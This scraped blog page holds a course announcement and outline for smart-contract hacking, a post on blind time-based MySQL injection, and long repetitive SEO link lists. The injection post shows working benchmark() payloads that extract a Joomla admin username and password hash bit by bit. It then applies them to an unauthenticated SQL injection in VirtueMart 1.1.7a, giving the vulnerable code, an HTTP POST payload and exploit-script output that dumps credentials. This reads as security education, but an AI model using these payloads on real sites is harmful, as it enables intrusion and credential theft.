| |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
Monday, August 31, 2020
You have 4 notifications from Eldo and others
Sunday, August 30, 2020
Blockchain Decentralized Application Hacking Course - A Journey Into Smart Contract Hacking And DApp Penetration Testing (Web 3.0)
Smart Contract Exploitation and Hacking Course Announcement
What Is this:
For those who have been hitting me up on twitter and YouTube for more blockchain smart contract exploitation content this blog is for you. I have posted a video below explaining what this is and included a course outline of the content we are providing free for everyone. I was actually told recently that I am crazy for giving out this level of detailed content and training for free.. However, I believe in the original hacker ethic code from long ago, that information should be freely available for everyone!! In this frame of mind, the only pay for content will be if you wish to go the extra mile. For the person who wants to prove to themselves or others that they learned something via a certification package with detailed exam prep targets and guides, followed by a final exam CTF and reporting write-up.
So I hope you enjoy this content. The content and walk through labs will be all free. This content will be posted regularly over the next few months 90% of it is already written and ready to go.
We will start off with the differences between Solidity and other languages and do a quick coding overview before we start hacking. This way everyone is on the same page when we start looking at coding examples of vulnerable targets or reviewing case study code. Then we will cover a wide range of typical issues that effect decentralized applications(DApps) and smart contracts on the Ethereum blockchain. How to spot them and exploit them with full walk-through style learning. Subjects we have already released (Re-Entrancy, Integer Attacks, Authorization) have been updated with new code, new examples, and case studies etc. Some of the learning content will be the same but with a lot of newly added content. And in the case of Authorization completely re-written and expanded on.
Basically this course was created to get the information out there in a clear concise way. Because when I started researching blockchain hacking all I found was a paragraph here and there on something that was overly technical or completely theoretical. I couldn't find any clear concise learning or examples. This drove me nuts trying to figure everything out, until I gave up and just coded my own vulnerabilities and hacked them. So hopefully this fills the knowledge gap to offer a clear and concise, Zero Fluff resource to those on the same path.
CTF Exam:
If you do enjoy this series over the next few months and want to challenge your skills and certify that you learned something we will be also offering pay for certification bundle that includes Decentralized Application (DApp) targets and detailed lab guides as preparation for a final exam against a more comprehensive CTF certification challenge target. More info on this as the months progress.
Bug Bounty of Sorts:
These labs are completed but we are working on a way to deliver the content which requires me to code up a course delivery software. So feel free to hack the course delivery software once its up, if you break in or bypass authorizations I will give you the full course for free provided you help me fix it. :P
Pre- Requisites:
This is more of a intermediate / advanced course with a white box code approach to bug hunting and a dynamic approach to application hacking and exploiting targets, with that said you will need the following pre-requisites:
- Ability to code in some language and understanding of coding concepts.
- Application hacking or development background with firm understanding of vulnerabilities
Contact Info:
As this is free, I only ask that you provide constructive feedback as we are creating other more advanced hacking courses on random subjects we are interested in. Most of which will be free. And feedback helps us not do things which are not useful and integrate new ideas where they make sense.
Cheers and I hope this finds you well.
Twitter:
Email:
- info@cclabs.io
WebPage:
Intro Video:
Course Outline / Release Order:
Orange = = Whats included additionally for the full course
Blue = = What will be released free in blogs / videos
(Mostly every Mondays) over the next few months
Building and Scoping Things
Chapter 1: Cliff Notes on Blockchain
Intro:
What is a Blockchain and how is it secured
Smart Contracts
What is a Decentralized Application (DApp)?
Diving into Blockchain Components:
Distributed Vs Decentralized
Provenance Use Case:
Consensus and Mining:
Hands on Lab - Blockchain Consensus walkthrough Lab
Summary:
References:
Chapter 2: Threat Modeling and Scoping Engagements
Architecture Considerations:
Business Logic Locations and Technology Decisions
Development Environments
Threat Modeling
Summary
References:
Chapter 3 – Solidity for Penetration Testers Part 1 (Hello World)
About Solidity
Hands on Lab - Remix interface overview
Structure of a Smart Contract
Hands on Lab – HelloWorld
Summary
References:
Chapter 4 – Solidity for Penetration Testers Part 2
Beyond Hello World
Hands on Lab – Code HelloWorld bank
Code Level Walk Through of HelloWorld Bank
Checks Effects Interactions:
Summary
Part 2: Hacking and Exploiting Things
Chapter 5 - Glass Half Full or Glass Half Empty: Integer Attacks
Underflows and Overflows
Withdraw Function Vulnerable to an underflow
Transfer Function Vulnerable to a Batch Overflow
Batch Overflow Code Explanation:
ERC20 Batch Overflow Case-Study
Walkthrough of The Vulnerable Function
Reviewing the Real Attack Transaction
Hands on Lab - Exploiting Our Own ERC20 Batch Overflow
Hands on Lab - Fixing the ERC20 Overflow
Exam Prep - DApp Target + Detailed Lab Guide
Hands on Lab -Safe Math Walk Through
Integer Attacks Summary
Integer Attacks References
Chapter 6 - You Again: Leveraging Reentrancy Attacks
Reentrancy Intro
Checks Effects Interactions Pattern
Simple Reentrancy Example Code
Passing the Checks:
Looping the Interaction:
Updating the Effects:
Attacking Code Example:
Hands on Lab - Attacking a Simple Reentrancy
Hands on Lab - Fixing the Checks Effects interaction Pattern
Send vs Transfer Vs Call.Value
Case Study – The Dao Hack
Exam Prep - DApp Target + Detailed Lab Guide
Reentrancy Summary
Reentrancy References
Chapter 7 Do You Have a Hall Pass: Access Control Attacks
Understanding Smart Contract Authorization and Visibility
Visibility:
Simple Visibility Example:
Implementing Authorization:
Example Walk-through of No Authorization
Thinking about Smart Contracts as unpublished API's for DApps
Case of the Video Game Heist
Enumerating functions in a contract
Hands on Lab - Directly Calling Public Functions with Web3
Hands on Lab - Example Fix with Simple Authorization
Exit Scam Warning
Hands on Lab - Example Fix-2 Using Modifiers for Simple Authentication
Hands on Lab - Example Using Openzeppelin for Role Based Access Control
Exam Prep - DApp Target + Detailed Lab Guide
Authorization Summary:
Authorization References
Chapter 8 - Dude Where's My Data: Storage Vs Memory Attacks
Intro - Not Written Yet – Up Next
Code Example - Not Written Yet – Up Next
Case study? - Not Written Yet – Up Next
Exploiting vulnerability - Not Written Yet – Up Next
Summary - Not Written Yet – Up Next
References - Not Written Yet – Up Next
Chapter 9 - Do I know you: TxOrigin vs Message.sender Attacks
What's the difference?
Man In the Middle Via tx.origin
Hands on Lab - Simple tx.origin Example Walkthrough
Hands on Lab - Vulnerable TX.Origin Example Walkthrough
Exam Prep - DApp Target + Detailed Lab Guide
Action steps to familiarize yourself with the contract:
Attack Options:
Summary
References
Chapter 10 - Who Am I: Delegate Call Attacks
How delegate calls work:
Delegate Call vs Call
Simple Delegate Call Example Code
Simple Delegate Code Example Walkthrough
Hands on Lab - Simple Delegate Example Walkthrough
Variable Memory Issues with Delegate Calls
DelegateCall Storage Simple Example Code
Hands on Lab - DelegateCall Storage Walkthrough
Exam Prep - DApp Target + Detailed Lab Guide
Case Study - Parity Wallet Attack:
Attack Transactions Explained
Dangerous fallback function using delegatecall
The Parity Wallet Code
Delegate Chapter Summary
Delegate References:
Chapter 11 - Look into My Crystal Ball: Bad Randomness Issues
Cryptographic Implementations and Predictable PRNGs
Simple BlockHash Example
Hands on Lab - BlockHash Vulnerability Walk and Talk
Exam Prep - DApp Target + Detailed Lab Guide
Preventing Randomness Issues
Bad Randomness Summary
Bad Randomness References
Chapter 12 - Automated Static Application Security Testing
Content - Not written - Up Next
Hands On Lab - Not written - Up Next
Summary Not written - Up Next
References - Not written - Up Next
Chapter 13 - CTF Exam
Final Exam and CTF Certification Exam Target
Final Exam Reporting
Appendices:
Appendix I – Pre-Requisite Suggestions:
Programming Pre-Requisites:
Web Application Hacking Pre-Requisites:
Appendix II – Other Blockchain Learning Resources and Certifications
Appendix III – Non-Exhaustive Scoping Questions
Appendix IV – Non-Exhaustive List of things to check for
More articles
- Beginner Hacker Tools
- Pentest Tools Port Scanner
- Pentest Automation Tools
- Hacking Tools Kit
- Wifi Hacker Tools For Windows
- Hacker Tools 2020
- How To Hack
- How To Make Hacking Tools
- New Hack Tools
- Hacker Tools Mac
- Hacker Tools For Windows
- Hacking Tools For Windows Free Download
- Hacker Search Tools
- Pentest Tools Subdomain
- Hacking Tools Software
- Hacker Tools Hardware
- Hacker Tools Software
- Hacking Tools Online
- New Hacker Tools
- Pentest Tools Github
- Github Hacking Tools
- Hacking Tools Hardware
- Hacking Tools Free Download
- Hack App
- Hack Tools Download
- Hacking Tools Github
- How To Make Hacking Tools
- Best Pentesting Tools 2018
- Hack Tools Online
- Best Hacking Tools 2019
- Hacker Tools
- Hacker Tools 2020
- How To Hack
- What Is Hacking Tools
- Pentest Tools Website Vulnerability
- Hacking Tools
- Hack Tools For Mac
- World No 1 Hacker Software
- Hack Tools Mac
- Hack Tools For Pc
- Hack Tools 2019
- Pentest Reporting Tools
- Pentest Tools Review
- Pentest Tools Subdomain
- Underground Hacker Sites
- Hacking Tools For Windows
- Hack Tools For Games
- Hacker Tools Free
- Hacking Tools Hardware
- Github Hacking Tools
- Best Pentesting Tools 2018
- Pentest Tools List
- Android Hack Tools Github
- Hacker Tool Kit
- Pentest Tools List
- Pentest Tools Tcp Port Scanner
- Hak5 Tools
- Hacker Tools 2019
- Hacker Tools
- Tools 4 Hack
- Hacking Tools
- Bluetooth Hacking Tools Kali
- Hacker Tools Apk Download
- Black Hat Hacker Tools
- Github Hacking Tools
- World No 1 Hacker Software
- Beginner Hacker Tools
- Hacking App
- Pentest Tools Url Fuzzer
- Hacking Tools For Games
- Physical Pentest Tools
- Hacking Tools For Pc
- Hacking Tools For Beginners
- Nsa Hack Tools
- Hacking Tools For Windows Free Download
- Best Hacking Tools 2019
- Pentest Tools Tcp Port Scanner
- Pentest Tools Github
- Hacker Techniques Tools And Incident Handling
- Hacking Tools For Games
- Hack Tool Apk No Root
- Hack Tools Pc
- Pentest Tools For Android
- Hacker Tools For Ios
- Android Hack Tools Github
- Hack Tools For Games
- Hack Tools
- Pentest Tools Free
- Github Hacking Tools
- What Is Hacking Tools
- Hacker Tools List
- Hack Tools For Mac
- World No 1 Hacker Software
- Hacking Tools For Mac
- Pentest Tools Website Vulnerability
- Hackrf Tools
- Hack Tools Online
- Hacker Tools For Ios
- Pentest Tools Android
- Hacker Tools Apk Download
- Hacker Techniques Tools And Incident Handling
- Hacker Tools Apk
- Hacking Tools Kit
- Hacker Tools
- Hacking Apps
- Github Hacking Tools
- Best Pentesting Tools 2018
- Hacking Tools For Pc
- Pentest Tools For Ubuntu
- Hacker Tools Online
- Physical Pentest Tools
- Hacking Tools Windows
- Hacking Tools Pc
- Pentest Tools Open Source
- Wifi Hacker Tools For Windows
- Hacker Tools
- Nsa Hack Tools Download
- Hack Tools Online
- Hacking Tools For Mac
- Pentest Tools Alternative
- Pentest Tools Apk
- Hacking Tools For Kali Linux
- Hacker Tools Mac
- Hack Tools Online
- Hack Tools For Ubuntu
- Hack Tools 2019
- Pentest Tools Nmap
- Free Pentest Tools For Windows
- Beginner Hacker Tools
- Pentest Tools List
- Hacker
- Physical Pentest Tools
- Wifi Hacker Tools For Windows
- Hacker Tools Free
- Hacker Tools List
- Hack And Tools
- Computer Hacker
- Hack Tools 2019
- Hacker Tools 2020
- Pentest Tools Website
- Blackhat Hacker Tools
- What Are Hacking Tools
- Hacker Tools Github
- Pentest Tools Nmap
- Hak5 Tools
- Pentest Box Tools Download
- Hacking Tools For Kali Linux
- Pentest Tools Subdomain
- Hacker Tools Windows
- Hack Tools For Pc
- Hak5 Tools
- Hack Tools Download
- Hacking Tools For Games
- Pentest Tools Android
- How To Make Hacking Tools
- Tools Used For Hacking
- Hacker Security Tools
- Physical Pentest Tools
- Pentest Tools Website
- Hacking Tools Windows
- Hacking Tools For Windows Free Download
- Hacking App
- Hacking Tools For Mac
- Hack Tools Online
- Tools Used For Hacking
- Pentest Automation Tools
- Hack Tools For Ubuntu
- Hack Apps
- Pentest Tools Nmap
- Tools 4 Hack
- Hacker Tools For Ios
- Hackers Toolbox
- Usb Pentest Tools
- Hacker Tools Apk Download
- Hacker Tools Software
- Hacker Tools 2020
- Hacker Tools List
- Pentest Tools Apk
Bit Banging Your Database
Now that we have the basic idea out of the way we can move onto how this is normally done and then onto the target of this post. Normally a sensitive item in the database is targeted, such as a username and password. Once we know where this item lives in the database we would first determine the length of the item, so for example an administrator's username. All examples below are being executed on an mysql database hosting a Joomla install. Since the example database is a Joomla web application database, we would want to execute a query like the following on the database:
select length(username) from jos_users where usertype = 'Super Administrator';Because we can't return the value back directly we have to make a query like the following iteratively:
select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
select if(length(username)=2,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
mysql> select if(length(username)=1,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.00 sec)
mysql> select if(length(username)=5,benchmark(5000000,md5('cc')),0) from jos_users where usertype = 'Super Administrator';
1 row in set (0.85 sec)
value & 128
01000001
10000000
-----------
00000000
value & 64
01000001
01000000
-----------
01000000
value & 32
01000001
00100000
-----------
00000000
value & 16
01000001
00010000
--------
00000000
value & 8
01000001
00001000
--------
00000000
value & 4
01000001
00000100
-----------
00000000
value & 2
01000001
00000010
-----------
00000000
value & 1
01000001
00000001
-----------
00000001
mysql> select if(length(password) & 128,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)
mysql> select if(length(password) & 64,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (7.91 sec)
mysql> select if(length(password) & 32,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)
mysql> select if(length(password) & 16,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)
mysql> select if(length(password) & 8,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)
mysql> select if(length(password) & 4,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)
mysql> select if(length(password) & 2,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (0.00 sec)
mysql> select if(length(password) & 1,benchmark(50000000,md5('cc')),0) from jos_users;
1 row in set (8.74 sec)
select if(substring(password,1,1)='a',benchmark(50000000,md5('cc')),0) as query from jos_users;This works but depending on how your character set that you are searching with is setup can effect how many requests it will take to find a character, especially when considering case sensitive values. Consider the following password hash:
da798ac6e482b14021625d3fad853337skxuqNW1GkeWWldHw6j1bFDHR4Av5SfLIf you searched for this string a character at a time using the following character scheme [0-9A-Za-z] it would take about 1400 requests. If we apply our previous method of extracting a bit at a time we will only make 520 requests (65*8). The following example shows the extraction of the first character in this password:
mysql> select if(ord(substring(password,1,1)) & 128,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 64,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
mysql> select if(ord(substring(password,1,1)) & 32,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.93 sec)
mysql> select if(ord(substring(password,1,1)) & 16,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 8,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 4,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (7.91 sec)
mysql> select if(ord(substring(password,1,1)) & 2,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
mysql> select if(ord(substring(password,1,1)) & 1,benchmark(50000000,md5('cc')),0) from jos_users;1 row in set (0.00 sec)
Now that the brief lesson is over we can move on to actually exploiting something using this technique. Our target is Virtuemart. Virtuemart is a free shopping cart module for the Joomla platform. Awhile back I had found an unauthenticated sql injection vulnerability in version 1.1.7a. This issue was fixed promptly by the vendor (...I was amazed) in version 1.1.8. The offending code was located in "$JOOMLA/administrator/components/com_virtuemart/notify.php" :
if($order_id === "" || $order_id === null)The $txn_id variable is set by a post variable of the same name. The following example will cause the web server to delay before returning:
{
$vmLogger->debug("Could not find order ID via invoice");
$vmLogger->debug("Trying to get via TransactionID: ".$txn_id);
$qv = "SELECT * FROM `#__{vm}_order_payment` WHERE `order_payment_trans_id` = '".$txn_id."'";
$db->query($qv);
print($qv);
if( !$db->next_record()) {
$vmLogger->err("Error: No Records Found.");
}
POST /administrator/components/com_virtuemart/notify.php HTTP/1.0Now that an insertion point has been identified we can automate the extraction of the "Super Administrator" account from the system:
Content-Type: application/x-www-form-urlencoded
Content-Length: 56
invoice=1&txn_id=1' or benchmark(50000000,md5('cc'));#
python vm_own.py "http://192.168.18.131/administrator/components/com_virtuemart/notify.php"
[*] Getting string length
[+] username length is:5
[+] username:admin
[*] Getting string length
[+] password length is:65
[+] password:da798ac6e482b14021625d3fad853337:skxuqNW1GkeWWldHw6j1bFDHR4Av5SfLThe "vm_own.py" script can be downloaded here.
Read more
- Underground Hacker Sites
- What Is Hacking Tools
- Hacker Tools For Windows
- Pentest Tools Linux
- Hacker Tools For Ios
- Hacker Tools For Mac
- Nsa Hacker Tools
- Pentest Reporting Tools
- Hacking Tools Download
- Hacking Tools For Windows
- Growth Hacker Tools
- Pentest Tools Url Fuzzer
- Hacking Tools 2020
- Hacker Tool Kit
- Hacker Tools Free
- Hack Tools For Ubuntu
- Bluetooth Hacking Tools Kali
- Pentest Tools For Ubuntu
- Hacking Tools For Pc
- Hack Tools For Mac
- Hacking Tools For Windows Free Download
- Hack Tools
- Pentest Tools Free
- Pentest Tools Find Subdomains
- Hacker Tools For Pc
- Hack Tools For Games
- Usb Pentest Tools
- Ethical Hacker Tools
- Pentest Tools Website
- Hacker Tools Software
- Hacking Tools Usb
- Physical Pentest Tools
- Hack Tools Download
- How To Make Hacking Tools
- Tools Used For Hacking
- Hack Tools Pc
- Hacker Tool Kit
- Computer Hacker
- Pentest Tools Open Source
- Hacking Tools For Kali Linux
- Physical Pentest Tools
- Hacker Tools Linux
- Pentest Tools Github
- Hacker Tools Windows
- Hacking Tools Github
- Pentest Tools Find Subdomains
- Termux Hacking Tools 2019
- Best Hacking Tools 2020
- Top Pentest Tools
- Wifi Hacker Tools For Windows
- Free Pentest Tools For Windows
- World No 1 Hacker Software
- Pentest Tools Apk
- Hacking Tools
- Hacker Tools Software
- Pentest Tools Tcp Port Scanner
- How To Install Pentest Tools In Ubuntu
- Hacker Tools Free
- Hacker Tool Kit
- Hacking App
- Pentest Reporting Tools
- Hacking Tools Mac
- What Is Hacking Tools
- Tools 4 Hack
- Hack Tools For Ubuntu


